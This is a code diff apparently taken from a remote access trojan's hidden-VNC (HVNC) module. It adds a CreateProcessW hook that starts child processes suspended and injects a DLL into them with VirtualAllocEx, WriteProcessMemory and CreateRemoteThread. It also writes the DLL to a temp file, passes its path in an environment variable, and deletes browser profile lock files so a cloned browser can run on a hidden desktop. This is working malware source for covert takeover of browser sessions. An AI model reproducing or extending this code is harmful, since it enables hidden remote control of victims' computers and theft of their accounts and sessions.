diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c index 62ab2ba..a1b32c0 100644 --- a/HVNCInjection/src/NtApiHooks.c +++ b/HVNCInjection/src/NtApiHooks.c @@ -287,6 +287,21 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL; pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL; + typedef BOOL(WINAPI* pCreateProcessW)( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation + ); + pCreateProcessW OriginalCreateProcessW = NULL; + static WCHAR g_DllPath[512] = { 0 }; + // Helper function to check if path needs redirection BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) { if (!path || length == 0) return FALSE; @@ -698,6 +713,83 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * QueryFlags, FileName); } + // Inject the DLL into a child process via LoadLibraryW + static BOOL InjectDllIntoChild(HANDLE hProcess, const WCHAR* dllPath) { + SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR); + + LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!remoteMem) return FALSE; + + SIZE_T written; + if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) { + VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); + return FALSE; + } + + HMODULE k32 = GetModuleHandleW(L"kernel32.dll"); + if (!k32) { + VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); + return FALSE; + } + + FARPROC pLoadLib = GetProcAddress(k32, "LoadLibraryW"); + if (!pLoadLib) { + VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); + return FALSE; + } + + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, + (LPTHREAD_START_ROUTINE)pLoadLib, remoteMem, 0, NULL); + if (!hThread) { + VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); + return FALSE; + } + + WaitForSingleObject(hThread, 10000); + CloseHandle(hThread); + VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); + return TRUE; + } + + BOOL WINAPI HookedCreateProcessW( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation + ) { + BOOL wasSuspended = (dwCreationFlags & CREATE_SUSPENDED) != 0; + DWORD modifiedFlags = dwCreationFlags | CREATE_SUSPENDED; + + BOOL result = OriginalCreateProcessW( + lpApplicationName, lpCommandLine, + lpProcessAttributes, lpThreadAttributes, + bInheritHandles, modifiedFlags, + lpEnvironment, lpCurrentDirectory, + lpStartupInfo, lpProcessInformation + ); + + if (result && lpProcessInformation && g_DllPath[0] != L'\0') { + LogDebug(L"[CreateProcessW] Injecting DLL into child process"); + if (!InjectDllIntoChild(lpProcessInformation->hProcess, g_DllPath)) { + LogDebug(L"[CreateProcessW] Child injection failed"); + } else { + LogDebug(L"[CreateProcessW] Child injection succeeded"); + } + + if (!wasSuspended) { + ResumeThread(lpProcessInformation->hThread); + } + } + + return result; + } + // Install all hooks void InstallNtApiHooks(LPVOID lpParameter) { // Use a global try-catch to prevent any crashes @@ -723,6 +815,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * // Initialize to empty strings to prevent crashes g_SearchString[0] = L'\0'; g_ReplacementString[0] = L'\0'; + g_DllPath[0] = L'\0'; // Try to get configuration from environment variables __try { @@ -756,6 +849,18 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * LogDebugA("Environment variables not found, hooks disabled"); } } + + // Read DLL path for child process injection + WCHAR envDllPath[512] = { 0 }; + DWORD dllPathLen = GetEnvironmentVariableW(L"RDI_DLL_PATH", envDllPath, 512); + if (dllPathLen > 0 && dllPathLen < 512) { + wcsncpy_s(g_DllPath, 512, envDllPath, dllPathLen); + g_DllPath[dllPathLen] = L'\0'; + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[ENV] DLL path for child injection: "); + LogDebug(g_DllPath); + } + } } __except (EXCEPTION_EXECUTE_HANDLER) { if (g_LogFile != INVALID_HANDLE_VALUE) { @@ -851,6 +956,16 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t * if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx"); } + HMODULE k32 = GetModuleHandleW(L"kernel32.dll"); + if (k32) { + FARPROC pCreateProcessW = GetProcAddress(k32, "CreateProcessW"); + if (pCreateProcessW) { + MH_CreateHook(pCreateProcessW, &HookedCreateProcessW, (LPVOID*)&OriginalCreateProcessW); + MH_EnableHook(pCreateProcessW); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked CreateProcessW"); + } + } + g_HooksInitialized = TRUE; if (g_LogFile != INVALID_HANDLE_VALUE) { LogDebugA("=== All hooks installed successfully ==="); diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index a24c725..b4e8d05 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -162,6 +162,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c } log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir) + for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} { + lp := filepath.Join(cloneDir, lockFile) + if err := os.Remove(lp); err == nil { + log.Printf("hvnc %s: removed lock file %s", info.name, lockFile) + } + } + return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir) } @@ -598,11 +605,18 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa return fmt.Errorf("empty DLL bytes") } + dllTmpPath, err := writeDLLToTemp(dllBytes) + if err != nil { + return fmt.Errorf("failed to write DLL to temp: %v", err) + } + log.Printf("hvnc inject: DLL written to %s for child injection", dllTmpPath) + enableDebugPrivilege() // Create the process suspended on the HVNC desktop - hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath) + hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath) if err != nil { + os.Remove(dllTmpPath) return fmt.Errorf("failed to create suspended process: %v", err) } log.Printf("hvnc inject: created suspended process PID %d", pid) @@ -635,7 +649,21 @@ func terminateProcess(hProcess uintptr) { kernel32.NewProc("TerminateProcess").Call(hProcess, 1) } -func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) { +func writeDLLToTemp(dllBytes []byte) (string, error) { + f, err := os.CreateTemp("", "hvnc_rdi_*.dll") + if err != nil { + return "", err + } + if _, err := f.Write(dllBytes); err != nil { + f.Close() + os.Remove(f.Name()) + return "", err + } + f.Close() + return f.Name(), nil +} + +func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath string) (hProcess, hThread uintptr, pid uint32, err error) { desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) if err != nil { return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) @@ -662,7 +690,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) ( si.dwY = 0 si.dwFlags = STARTF_USEPOSITION - envBlock, err := buildEnvironmentBlock(searchPath, replacePath) + envBlock, err := buildEnvironmentBlock(searchPath, replacePath, dllTmpPath) if err != nil { return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err) } @@ -689,11 +717,14 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) ( return pi.hProcess, pi.hThread, pi.dwProcessId, nil } -func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) { +func buildEnvironmentBlock(searchPath, replacePath, dllTmpPath string) ([]uint16, error) { envStrings := syscall.Environ() envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath) envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath) + if dllTmpPath != "" { + envStrings = append(envStrings, "RDI_DLL_PATH="+dllTmpPath) + } var block []uint16 for _, s := range envStrings {